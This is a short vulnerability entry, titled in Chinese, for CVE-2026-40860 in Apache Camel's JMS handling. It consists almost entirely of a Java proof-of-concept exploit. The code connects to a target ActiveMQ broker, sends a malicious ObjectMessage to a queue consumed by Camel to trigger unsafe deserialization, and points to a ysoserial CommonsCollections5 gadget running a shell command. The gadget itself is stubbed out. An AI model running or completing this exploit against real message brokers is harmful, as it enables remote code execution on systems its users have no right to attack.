CVE-2026-40860 Apache Camel JMS反序列化远程代码执行漏洞

// Java Conceptual PoC for CVE-2026-40860 // Demonstrates sending a malicious ObjectMessage to trigger deserialization in Apache Camel import javax.jms.*; import org.apache.activemq.ActiveMQConnectionFactory; public class CamelDeserializationPoc { public static void main(String[] args) { try { // 1. Establish connection to the JMS Broker ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://target-jms-broker:61616"); Connection connection = connectionFactory.createConnection(); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); // 2. Define the target queue or topic consumed by Camel Destination destination = session.createQueue("VULNERABLE_QUEUE"); MessageProducer producer = session.createProducer(destination); // 3. Generate a malicious payload object using a gadget chain (e.g., via ysoserial) // Object payload = SerializeUtil.generate("CommonsCollections5", "touch /tmp/pwned"); Object maliciousPayload = getExploitObject(); // 4. Wrap the payload in an ObjectMessage ObjectMessage message = session.createObjectMessage(); message.setObject(maliciousPayload); // 5. Send the message. Camel's JmsBinding will deserialize it automatically. producer.send(message); System.out.println("[+] Malicious ObjectMessage sent successfully."); connection.close(); } catch (Exception e) { e.printStackTrace(); } } // Helper to simulate payload generation private static Object getExploitObject() { // In a real attack, return a serialized object from a gadget chain return "ExploitGadgetObject"; } }